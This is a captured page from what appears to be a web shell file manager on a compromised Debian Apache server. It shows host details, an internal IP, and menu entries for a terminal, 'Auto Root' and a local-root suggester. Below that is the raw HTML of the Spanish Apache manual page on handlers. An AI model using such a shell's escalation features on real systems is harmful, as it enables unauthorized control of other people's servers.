Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
apache2-doc /
manual /
es /
Delete
Unzip
Name
Size
Permission
Date
Action
developer
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
faq
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
howto
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
misc
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
mod
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
platform
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
programs
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
rewrite
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
ssl
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
vhosts
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
bind.html
17.23
KB
-rw-r--r--
2026-06-12 05:08
caching.html
50.33
KB
-rw-r--r--
2026-06-12 05:08
configuring.html
19.4
KB
-rw-r--r--
2026-06-12 05:08
content-negotiation.html
34.72
KB
-rw-r--r--
2026-06-12 05:08
custom-error.html
13.39
KB
-rw-r--r--
2026-06-12 05:08
dns-caveats.html
12.21
KB
-rw-r--r--
2026-06-12 05:08
dso.html
19.17
KB
-rw-r--r--
2026-06-12 05:08
env.html
35.33
KB
-rw-r--r--
2026-06-12 05:08
expr.html
37.21
KB
-rw-r--r--
2026-06-12 05:08
filter.html
17.5
KB
-rw-r--r--
2026-06-12 05:08
getting-started.html
15.2
KB
-rw-r--r--
2026-06-12 05:08
glossary.html
32.69
KB
-rw-r--r--
2026-06-12 05:08
handler.html
12.55
KB
-rw-r--r--
2026-06-12 05:08
index.html
11.7
KB
-rw-r--r--
2026-06-12 05:08
install.html
30.34
KB
-rw-r--r--
2026-06-12 05:08
invoking.html
14.47
KB
-rw-r--r--
2026-06-12 05:08
license.html
15.36
KB
-rw-r--r--
2026-06-12 05:08
logs.html
39.45
KB
-rw-r--r--
2026-06-12 05:08
mpm.html
10.31
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_0.html
15.36
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_2.html
18.44
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_4.html
32.98
KB
-rw-r--r--
2026-06-12 05:08
sections.html
39.89
KB
-rw-r--r--
2026-06-12 05:08
server-wide.html
11.73
KB
-rw-r--r--
2026-06-12 05:08
sitemap.html
26.18
KB
-rw-r--r--
2026-06-12 05:08
socache.html
9.48
KB
-rw-r--r--
2026-06-12 05:08
stopping.html
19.55
KB
-rw-r--r--
2026-06-12 05:08
suexec.html
28.53
KB
-rw-r--r--
2026-06-12 05:08
upgrading.html
35.18
KB
-rw-r--r--
2026-06-12 05:08
urlmapping.html
26.23
KB
-rw-r--r--
2026-06-12 05:08
Save
Rename
<!DOCTYPE html SYSTEM "about:legacy-compat"> <html lang="es"><head><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <meta content="width=device-width, initial-scale=1" name="viewport"> <!-- XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX This file is generated from xml source: DO NOT EDIT XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX --> <title>Uso de los Handlers en Apache - Servidor HTTP Apache Versión 2.4</title> <link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet"> <link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size"> <link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css"><link rel="stylesheet" type="text/css" href="../style/css/prettify.css"> <script src="../style/scripts/prettify.min.js"> </script> <link href="../images/favicon.png" rel="shortcut icon"></head> <body id="manual-page"><div id="page-header"> <p class="menu"><a href="./mod/index.html">Módulos</a> | <a href="./mod/quickreference.html">Directivas</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">Preguntas Frecuentes</a> | <a href="./glossary.html">Glosario</a> | <a href="./sitemap.html">Mapa del sitio web</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Reportar un error</a></p> <p class="apache">Versión 2.4 del Servidor HTTP Apache</p> <img alt="" src="../images/feather.png"></div> <div class="up"><a href="./index.html"><img title="<-" alt="<-" src="../images/left.gif"></a></div> <div id="path"> <a href="https://www.apache.org/">Apache</a> > <a href="https://httpd.apache.org/">Servidor HTTP</a> > <a href="https://httpd.apache.org/docs/">Documentación</a> > <a href="./index.html">Versión 2.4</a></div><div id="page-content"><div id="preamble"><h1>Uso de los Handlers en Apache</h1> <button aria-label="Toggle language list" class="lang-toggle"><svg xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke="currentColor" fill="none" viewBox="0 0 24 24" height="16" width="16"><circle r="10" cy="12" cx="12"/><line y2="12" x2="22" y1="12" x1="2"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg></button> <div class="toplang"> <p><span>Idiomas disponibles: </span><a href="../en/handler.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../es/handler.html" title="Español"> es </a> | <a href="../fr/handler.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../ja/handler.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/handler.html" hreflang="ko" rel="alternate" title="Korean"> ko </a> | <a href="../tr/handler.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a> | <a href="../zh-cn/handler.html" hreflang="zh-cn" rel="alternate" title="Simplified Chinese"> zh-cn </a></p> </div> <p>Este documento describe el uso de los Handlers en Apache.</p> </div> <div id="quickview"><ul id="toc"><li><img alt="" src="../images/down.gif"> <a href="#definition">¿Qué es un Handler?</a></li> <li><img alt="" src="../images/down.gif"> <a href="#examples">Ejemplos</a></li> <li><img alt="" src="../images/down.gif"> <a href="#programmer">Nota para programadores</a></li> </ul></div> <div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="definition">¿Qué es un Handler? <a title="Enlace permanente" href="#definition" class="permalink">¶</a></h2> <table class="related"><tr><th>Módulos Relacionados</th><th>Directivas Relacionadas</th></tr><tr><td><ul><li><code class="module"><a href="./mod/mod_actions.html">mod_actions</a></code></li><li><code class="module"><a href="./mod/mod_asis.html">mod_asis</a></code></li><li><code class="module"><a href="./mod/mod_cgi.html">mod_cgi</a></code></li><li><code class="module"><a href="./mod/mod_imagemap.html">mod_imagemap</a></code></li><li><code class="module"><a href="./mod/mod_info.html">mod_info</a></code></li><li><code class="module"><a href="./mod/mod_mime.html">mod_mime</a></code></li><li><code class="module"><a href="./mod/mod_negotiation.html">mod_negotiation</a></code></li><li><code class="module"><a href="./mod/mod_status.html">mod_status</a></code></li></ul></td><td><ul><li><code class="directive"><a href="./mod/mod_actions.html#action">Action</a></code></li><li><code class="directive"><a href="./mod/mod_mime.html#addhandler">AddHandler</a></code></li><li><code class="directive"><a href="./mod/mod_mime.html#removehandler">RemoveHandler</a></code></li><li><code class="directive"><a href="./mod/core.html#sethandler">SetHandler</a></code></li></ul></td></tr></table> <p>Un "handler" es una representación interna de Apache de una acción que se va a ejecutar cuando hay una llamada a un fichero. Generalmente, los ficheros tienen handlers implícitos, basados en el tipo de fichero de que se trata. Normalmente, todos los ficheros son simplemente servidos por el servidor, pero algunos tipos de ficheros se tratan de forma diferente.</p> <p>Handlers pueden ser usados de manera explicita, basándose en la extensión del fichero o en la ubicación en la que esté, se pueden especificar handlers sin tener en cuenta el tipo de fichero que se trate. Esto es una ventaja por dos razones. Primero, es una solución más elegante. Segundo, porque a un fichero se le pueden asignar tanto un tipo <strong>como</strong> un handler. (Consulte también la sección <a href="mod/mod_mime.html#multipleext">Ficheros y extensiones múltiples</a>.)</p> <p>Los Handlers pueden tanto ser compilados con el servidor como incluidos en un módulo, o añadidos con la directiva <code class="directive"><a href="./mod/mod_actions.html#action">Action</a></code>. Los handlers que vienen incluidos en el core con el servidor de la distribución estándar de Apache son:</p> <ul> <li><strong>default-handler</strong>: Envía el fichero usando el <code>default_handler()</code>, que es el handler usado por defecto para tratar contenido estático. (core)</li> <li><strong>send-as-is</strong>: Envía el fichero con cabeceras HTTP tal y como es. (<code class="module"><a href="./mod/mod_asis.html">mod_asis</a></code>)</li> <li><strong>cgi-script</strong>: Trata el fichero como un sript CGI. (<code class="module"><a href="./mod/mod_cgi.html">mod_cgi</a></code>)</li> <li><strong>imap-file</strong>: Trata el fichero como un mapa de imágenes. (<code class="module"><a href="./mod/mod_imagemap.html">mod_imagemap</a></code>)</li> <li><strong>server-info</strong>: Extrae la información de configuración del servidor. (<code class="module"><a href="./mod/mod_info.html">mod_info</a></code>)</li> <li><strong>server-status</strong>: Extrae el informe del estado del servidor. (<code class="module"><a href="./mod/mod_status.html">mod_status</a></code>)</li> <li><strong>type-map</strong>: Trata el fichero como una correspondencia de tipos para la negociación de contenidos. (<code class="module"><a href="./mod/mod_negotiation.html">mod_negotiation</a></code>)</li> </ul> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="examples">Ejemplos <a title="Enlace permanente" href="#examples" class="permalink">¶</a></h2> <h3 id="example1">Modificar contenido estático usando un script CGI</h3> <p>Las siguientes directivas hacen que cuando haya una petición de ficheros con la extensión <code>html</code> se lance el script CGI <code>footer.pl</code>.</p> <div class="example"><p><code> Action add-footer /cgi-bin/footer.pl<br> AddHandler add-footer .html </code></p></div> <p>En este caso, el script CGI es el responsable de enviar el documento originalmente solicitado (contenido en la variable de entorno <code>PATH_TRANSLATED</code>) y de hacer cualquier modificación o añadido deseado.</p> <h3 id="example2">Archivos con cabeceras HTTP</h3> <p>Las siguientes directivas activan el handler <code>send-as-is</code>, que se usa para ficheros que contienen sus propias cabeceras HTTP. Todos los archivos en el directorio <code>/web/htdocs/asis/</code> serán procesados por el handler <code>send-as-is</code>, sin tener en cuenta su extension.</p> <pre class="prettyprint lang-config"><Directory "/web/htdocs/asis"> SetHandler send-as-is </Directory></pre> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="programmer">Nota para programadores <a title="Enlace permanente" href="#programmer" class="permalink">¶</a></h2> <p>Para implementar las funcionalidades de los handlers, se ha hecho un añadido a la <a href="developer/API.html">API de Apache</a> que puede que quiera usar. Para ser más específicos, se ha añadido un nuevo registro a la estructura <code>request_rec</code>:</p> <pre class="prettyprint lang-c">char *handler</pre> <p>Si quiere que su módulo llame a un handler , solo tiene que añadir <code>r->handler</code> al nombre del handler en cualquier momento antes de la fase <code>invoke_handler</code> de la petición. Los handlers se implementan siempre como se hacía antes, aunque usando el nombre del handler en vez de un tipo de contenido. Aunque no es de obligado cumplimiento, la convención de nombres para los handlers es que se usen palabras separadas por guiones, sin barras, de manera que no se invada el media type name-space.</p> </div></div> <div class="bottomlang"> <p><span>Idiomas disponibles: </span><a href="../en/handler.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../es/handler.html" title="Español"> es </a> | <a href="../fr/handler.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../ja/handler.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/handler.html" hreflang="ko" rel="alternate" title="Korean"> ko </a> | <a href="../tr/handler.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a> | <a href="../zh-cn/handler.html" hreflang="zh-cn" rel="alternate" title="Simplified Chinese"> zh-cn </a></p> </div><div id="footer"> <p class="apache">Copyright 2026 The Apache Software Foundation.<br>Licencia bajo los términos de la <a href="https://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a>.</p> <p class="menu"><a href="./mod/index.html">Módulos</a> | <a href="./mod/quickreference.html">Directivas</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">Preguntas Frecuentes</a> | <a href="./glossary.html">Glosario</a> | <a href="./sitemap.html">Mapa del sitio web</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Reportar un error</a></p></div><script><!--//--><![CDATA[//><!-- if (typeof(prettyPrint) !== 'undefined') { prettyPrint(); } var langToggle = document.querySelector('.lang-toggle'); var topLang = document.querySelector('.toplang'); if (langToggle && topLang) { langToggle.addEventListener('click', function() { topLang.classList.toggle('open'); }); } var qv = document.getElementById('quickview'); if (qv) { document.body.appendChild(qv); var qvBtn = document.createElement('button'); qvBtn.className = 'qv-toggle'; qvBtn.setAttribute('aria-label', 'Toggle page navigation'); qvBtn.innerHTML = '☰'; document.body.appendChild(qvBtn); qvBtn.addEventListener('click', function() { var isOpen = qv.classList.toggle('open'); if (isOpen) { qv.style.top = window.scrollY + 10 + 'px'; } }); window.addEventListener('scroll', function() { qv.classList.remove('open'); }); } //--><!]]></script> </body></html>